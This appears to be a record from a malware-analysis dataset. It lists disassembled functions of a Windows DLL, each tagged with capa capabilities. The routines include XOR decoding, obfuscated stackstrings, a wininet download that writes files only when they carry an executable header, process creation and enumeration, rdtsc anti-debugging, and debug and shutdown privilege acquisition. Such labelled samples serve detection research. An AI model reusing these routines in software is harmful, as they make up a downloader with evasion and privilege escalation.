joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001cc0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x110], ecx
push 0x104
lea eax, [ebp - 0x108]
mov dword [ebp - 0x10c], ebx
push ebx
push eax
call fcn.1000e720
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001d12
mov ax, word [0x10027344]
mov edx, 0x1002d968
mov word [edi], ax
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x10001d30
lea edi, [ebp - 0x108]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10001d40
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x108]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10001d60
mov eax, dword [str..key]
push 0
push 0x80
push 3
mov dword [ecx], eax
mov al, byte [0x1002734c]
push 0
push 1
mov byte [ecx + 4], al
lea eax, [ebp - 0x108]
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x118], edi
cmp edi, 0xffffffff
je 0x10001e98
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.1000c135
add esp, 4
mov esi, eax
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x114], esi
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor ecx, ecx
test ebx, ebx
je 0x10001e3f
cmp ebx, 0x40
jb 0x10001e32
movaps xmm2, xmmword [0x10029c00]
mov eax, ebx
and eax, 0x3f
mov edx, ebx
sub edx, eax
movups xmm0, xmmword [esi + ecx]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [esi + ecx], xmm0
movups xmm0, xmmword [esi + ecx + 0x10]
pxor xmm0, xmm2
movups xmmword [esi + ecx + 0x10], xmm0
movups xmm0, xmmword [esi + ecx + 0x20]
pxor xmm1, xmm0
movups xmmword [esi + ecx + 0x20], xmm1
movups xmm0, xmmword [esi + ecx + 0x30]
pxor xmm0, xmm2
movups xmmword [esi + ecx + 0x30], xmm0
add ecx, 0x40
cmp ecx, edx
jb 0x10001df2
cmp ecx, ebx
jae 0x10001e3f
xor byte [ecx + esi], 0x62
inc ecx
cmp ecx, ebx
jb 0x10001e36
lea esi, [ebx + 1]
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
push ebx
mov ebx, dword [ebp - 0x114]
push ebx
lea eax, [edi + 1]
mov byte [edi], 5
push eax
call fcn.10010450
mov ecx, dword [ebp - 0x110]
add esp, 0xc
mov ecx, dword [ecx + 4]
push esi
push edi
call fcn.100018c0
push edi
mov dword [ebp - 0x110], eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 1
push ebx
call fcn.1000c127
mov edi, dword [ebp - 0x118]
add esp, 8
mov ebx, dword [ebp - 0x110]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000c111
mov esp, ebp
pop ebp
ret
Function at 0x10002050
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push dword [ebp + 0xc]
mov dword [ebp - 0x414], edx
mov esi, ecx
push 0
push ebx
call fcn.1000e720
push 0x400
lea eax, [ebp - 0x410]
push 0
push eax
call fcn.1000e720
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x6e69614d
push eax
lea eax, [ebp - 0x410]
mov dword [ebp - 0xc], 0x5c6c6c44
push eax
mov word [ebp - 8], 0x7325
mov byte [ebp - 6], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea edx, [ebp - 0x410]
push dword [ebp + 0xc]
push ecx
push ebx
push 1
push dword [ebp - 0x414]
mov ecx, connect
call fcn.10007f20
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop esi
pop ebx
call fcn.1000c111
mov esp, ebp
pop ebp
ret
Function at 0x10002b20
Capabilities:
Get routing table

Disassembly:
push esi
push 0x100281b8
call fcn.10001fd0
add esp, 4
push 0
push 0x1002f3bc
push dword [0x1002f3c0]
call dword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
push 0x100281c8
mov esi, eax
call fcn.10001fd0
add esp, 4
cmp esi, 0x7a
jne 0x10002b76
push dword [0x1002f3bc]
call fcn.10012fc9
add esp, 4
mov dword [0x1002f3c0], eax
push 0
push 0x1002f3bc
push eax
call dword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
pop esi
ret

Function at 0x100032c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 0
push 0
push 0
mov dword [ebp - 0x14], 0x10002d30
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0x10007900
push 0
push 0
call fcn.10013489
add esp, 0x18
mov ebx, eax
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop ebx
call fcn.1000c111
mov esp, ebp
pop ebp
ret
Function at 0x10005280
Capabilities:
Check if file exists
Create process on windows
Create process suspended
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ebx
push edi
lea ecx, [esi + 1]
nop dword [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x100052a0
sub esi, ecx
je 0x10005380
inc esi
push esi
call fcn.1000c135
push esi
mov edi, eax
push ebx
push edi
call fcn.10010450
push 0x2f
push edi
call fcn.1000e2a0
mov esi, eax
add esp, 0x18
add esi, 1
je 0x10005377
mov edx, esi
mov ecx, edi
call fcn.10007c10
test al, al
je 0x10005377
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100052fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x10005377
lea eax, [ebp - 0x18]
mov dword [ebp - 0x60], 0
push eax
lea eax, [ebp - 0x64]
mov dword [ebp - 0x64], 0x44
push eax
push 0
push 0
push 0
push 0
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x5c], str.WinSta0Default
push 0
push esi
push 0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movlpd qword [ebp - 0x28], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push edi
call fcn.1000c122
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 4
push edi
call fcn.1000c122
add esp, 4
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000c111
mov esp, ebp
pop ebp
ret 4
Function at 0x10005510
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x16c], edx
mov esi, ebx
push edi
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10005533
sub esi, edi
je 0x1000565a
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.1000e720
add esp, 8
lea eax, [ebp - 0x110]
mov edx, str.Applicationsiexplore.exe_shellopencommand
push 0x104
push ecx
push eax
push 1
push 0
mov ecx, connect
call fcn.10007f20
add esp, 0x18
test eax, eax
je 0x1000565a
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1000565a
lea eax, [ebp - 0x110]
push 0x100286f4
push eax
call fcn.1000e030
add esp, 8
test eax, eax
je 0x1000565a
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp - 0x16c], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x164], xmm0
movlpd qword [ebp - 0x15c], xmm0
movlpd qword [ebp - 0x154], xmm0
movlpd qword [ebp - 0x14c], xmm0
movlpd qword [ebp - 0x144], xmm0
movlpd qword [ebp - 0x13c], xmm0
movlpd qword [ebp - 0x134], xmm0
movlpd qword [ebp - 0x12c], xmm0
mov dword [ebp - 0x168], 0x44
je 0x1000561e
mov dword [ebp - 0x160], str.WinSta0Default
jmp 0x10005631
xor eax, eax
mov dword [ebp - 0x13c], 1
mov word [ebp - 0x138], ax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x168]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000c111
mov esp, ebp
pop ebp
ret
Function at 0x10005910
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x400
lea eax, [ebp - 0x420]
mov dword [ebp - 0x20], 0x6e6e6f43
push 0
push eax
mov edi, edx
mov dword [ebp - 0x1c], 0x47746365
mov esi, ecx
mov dword [ebp - 0x18], 0x70756f72
mov byte [ebp - 0x14], 0
call fcn.1000e720
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x6e69614d
push eax
lea eax, [ebp - 0x420]
mov dword [ebp - 0xc], 0x5c6c6c44
push eax
mov word [ebp - 8], 0x7325
mov byte [ebp - 6], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
lea eax, [ebp - 0x20]
mov ecx, connect
push 1
push eax
lea edx, [ebp - 0x420]
call fcn.10008250
mov ecx, dword [ebp - 4]
add esp, 0x14
xor ecx, ebp
pop edi
pop esi
call fcn.1000c111
mov esp, ebp
pop ebp
ret
Function at 0x10007950
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
push esi
push 0
push 0
push 0
push 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
push eax
push 0x10007900
push 0
push 0
call fcn.10013489
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1000c111
mov esp, ebp
pop ebp
ret

Function at 0x100079c0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1002a7f0
push 0x1000e420
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x1002d00c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x12c], ecx
push str.user32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov dword [ebp - 0x124], eax
push 0x10029074
push eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov ebx, eax
push 0x10029088
push dword [ebp - 0x124]
call esi
mov dword [ebp - 0x130], eax
push 0x100290a4
push dword [ebp - 0x124]
call esi
mov dword [ebp - 0x134], eax
push 0x100290b8
push dword [ebp - 0x124]
call esi
mov dword [ebp - 0x138], eax
push str.kernel32.dll
call edi
mov dword [ebp - 0x13c], eax
push 0x100290c8
push eax
call esi
call eax
push eax
call ebx
mov ebx, eax
mov esi, 1
mov dword [ebp - 0x128], esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x120]
push eax
push 0x100
lea eax, [ebp - 0x11c]
push eax
push 2
mov edi, dword [ebp - 0x12c]
push edi
call dword [ebp - 0x130]
test eax, eax
jne 0x10007ab6
xor esi, esi
mov dword [ebp - 0x128], esi
jmp 0x10007ac8
push edi
call dword [ebp - 0x134]
test eax, eax
je 0x10007aac
push ebx
call dword [ebp - 0x138]
mov dword [ebp - 4], 0xfffffffe
call fcn.10007af8
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000c111
mov esp, ebp
pop ebp
ret
Function at 0x10007c10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.wininet.dll
mov dword [ebp - 0x41c], edx
mov esi, 1
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x408], 0
mov dword [ebp - 0x40c], 0
mov byte [ebp - 0x40d], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
call ebx
push 0
push 0
push 0
push 0
push str.MSIE_6.0
call eax
mov dword [ebp - 0x418], eax
test eax, eax
je 0x10007cb1
push str.InternetOpenUrlA
push edi
call ebx
push 0
push connect
push 0
push 0
push dword [ebp - 0x414]
push dword [ebp - 0x418]
call eax
mov dword [ebp - 0x414], eax
test eax, eax
jne 0x10007ccf
test edi, edi
je 0x10007cbc
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c111
mov esp, ebp
pop ebp
ret
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10007d85
nop word [eax + eax]
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.1000e720
add esp, 0xc
push str.InternetReadFile
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x408]
push ecx
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push dword [ebp - 0x414]
call eax
test esi, esi
je 0x10007d4f
mov eax, 0x5a4d
cmp word [ebp - 0x404], ax
jne 0x10007d77
xor esi, esi
lea eax, [ebp - 0x40c]
push esi
push eax
push dword [ebp - 0x408]
lea eax, [ebp - 0x404]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x408], esi
ja 0x10007d00
jmp 0x10007d7e
mov byte [ebp - 0x40d], 0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x414]
mov esi, eax
call esi
push dword [ebp - 0x418]
call esi
test edi, edi
je 0x10007db6
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x40d]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1000c111
mov esp, ebp
pop ebp
ret
Function at 0x10007dd0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x10029150
mov dword [ebp - 0x20], edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push 0x10029160
push ebx
call edi
push 0x10029174
push ebx
mov esi, eax
call edi
push 0x1002918c
push ebx
mov dword [ebp - 0x1c], eax
call edi
push str.kernel32.dll
mov dword [ebp - 0x24], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push 0x100291a4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x18]
push ecx
push 0x28
call eax
push eax
call esi
test eax, eax
jne 0x10007e52
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c111
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x20]
neg eax
mov dword [ebp - 0x14], 1
sbb eax, eax
and eax, 2
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
push str.SeShutdownPrivilege
push 0
call dword [ebp - 0x24]
push 0
push 0
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x18]
call dword [ebp - 0x1c]
push 0x100291b8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x100291c8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 1
call eax
push dword [ebp - 0x18]
xor ecx, ecx
test eax, eax
cmovne esi, ecx
mov dword [ebp - 0x1c], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x10007ec4
push ebx
call esi
test edi, edi
je 0x10007ecb
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1000c111
mov esp, ebp
pop ebp
ret
Function at 0x10008af0
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push ebx
rdtsc
xchg ebx, eax
rdtsc
sub eax, ebx
cmp eax, dword [ebp + 8]
jg 0x10008b04
xor eax, eax
jmp 0x10008b09
mov eax, 1
pop ebx
pop ebp
ret

Function at 0x10008c70
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ax, word [0x10029398]
movups xmm0, xmmword [0x10029388]
mov word [ebp - 8], ax
lea eax, [ebp - 0x18]
push esi
push eax
movups xmmword [ebp - 0x18], xmm0
call dword [0x1002e25c]
movaps xmm1, xmmword [0x10029bf0]
lea ecx, [ebp - 0x18]
mov edx, eax
add esp, 4
xor esi, esi
test edx, edx
je 0x10008d22
cmp edx, 0x40
jb 0x10008d0b
push edi
and eax, 0x3f
mov edi, edx
sub edi, eax
movups xmm0, xmmword [ecx]
add esi, 0x40
pxor xmm0, xmm1
paddb xmm0, xmm1
movups xmmword [ecx], xmm0
movups xmm0, xmmword [ecx + 0x10]
pxor xmm0, xmm1
paddb xmm0, xmm1
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [ecx + 0x20]
pxor xmm0, xmm1
paddb xmm0, xmm1
movups xmmword [ecx + 0x20], xmm0
movups xmm0, xmmword [ecx + 0x30]
pxor xmm0, xmm1
paddb xmm0, xmm1
movups xmmword [ecx + 0x30], xmm0
add ecx, 0x40
cmp esi, edi
jb 0x10008cc2
pop edi
cmp esi, edx
jae 0x10008d22
sub edx, esi
mov al, byte [ecx]
lea ecx, [ecx + 1]
xor al, 0x4a
add al, 0x4a
mov byte [ecx - 1], al
sub edx, 1
jne 0x10008d11
lea eax, [ebp - 0x18]
push eax
call dword [0x1002e2b0]
pop esi
test eax, eax
je 0x10008d39
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c111
mov esp, ebp
pop ebp
ret

Function at 0x10008e70
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
inc eax
dec ebx
dec eax
inc ebx
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x100291d8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x138], eax
test eax, eax
jne 0x10008ec5
inc eax
dec ebx
dec eax
inc ebx
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c111
mov esp, ebp
pop ebp
ret
push 0
push 2
inc eax
dec ebx
dec eax
inc ebx
call dword [ebp - 0x138]
mov dword [ebp - 0x134], eax
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10008eb1
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
cmp dword [ebp - 0x128], esi
je 0x10008f2f
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 0x134]
call edi
test eax, eax
jne 0x10008f00
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c111
mov esp, ebp
pop ebp
ret
inc eax
dec ebx
dec eax
inc ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x118]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1000c111
mov esp, ebp
pop ebp
ret
Function at 0x10008f50
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
inc eax
dec ebx
dec eax
inc ebx
push str.Kernel32.dll
or edi, 0xffffffff
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10008f94
inc eax
dec ebx
dec eax
inc ebx
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c111
mov esp, ebp
pop ebp
ret
push 0x100291d8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov dword [ebp - 0x148], ecx
inc eax
dec ebx
dec eax
inc ebx
test ecx, ecx
je 0x10008f80
push 0
push 2
call dword [ebp - 0x148]
mov dword [ebp - 0x144], eax
inc eax
dec ebx
dec eax
inc ebx
lea eax, [ebp - 0x140]
mov dword [ebp - 0x140], 0x128
push eax
push dword [ebp - 0x144]
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000903f
mov esi, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax + eax]
inc eax
dec ebx
dec eax
inc ebx
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x6c707865
push eax
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x10], 0x7265726f
push eax
mov dword [ebp - 0xc], 0x6578652e
mov byte [ebp - 8], 0
call fcn.100137f6
add esp, 8
test eax, eax
je 0x10009039
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x144]
call esi
test eax, eax
jne 0x10008ff0
jmp 0x1000903f
mov edi, dword [ebp - 0x138]
inc eax
dec ebx
dec eax
inc ebx
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000c111
mov esp, ebp
pop ebp
ret
Function at 0x1000a3b0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x1002d00c]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
mov dword [esp + 0x14], 0x128
push 2
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000a457
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000a450
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
push esi
call fcn.100136b8
mov esi, eax
lea eax, [esp + 0x38]
push eax
call fcn.100136b8
add esp, 8
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x1000a437
test cl, cl
je 0x1000a433
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x1000a437
add eax, 2
add esi, 2
test cl, cl
jne 0x1000a417
xor eax, eax
jmp 0x1000a43c
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000a46e
lea eax, [esp + 0x10]
push eax
push edi
call ebx
mov esi, dword [esp + 0xc]
test eax, eax
jne 0x1000a402
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret

Function at 0x1000a490
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
mov eax, dword [0x1002d00c]
xor eax, esp
mov dword [esp + 0x1c], eax
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000a51d
lea eax, [esp + 4]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000a51d
mov eax, dword [esp + 4]
push 0
push 0
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x10]
push 0x10
mov dword [esp + 0x20], eax
lea eax, [esp + 0x18]
push eax
push 0
push dword [esp + 0x14]
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000a51d
xor eax, eax
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x1c]
mov eax, 1
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret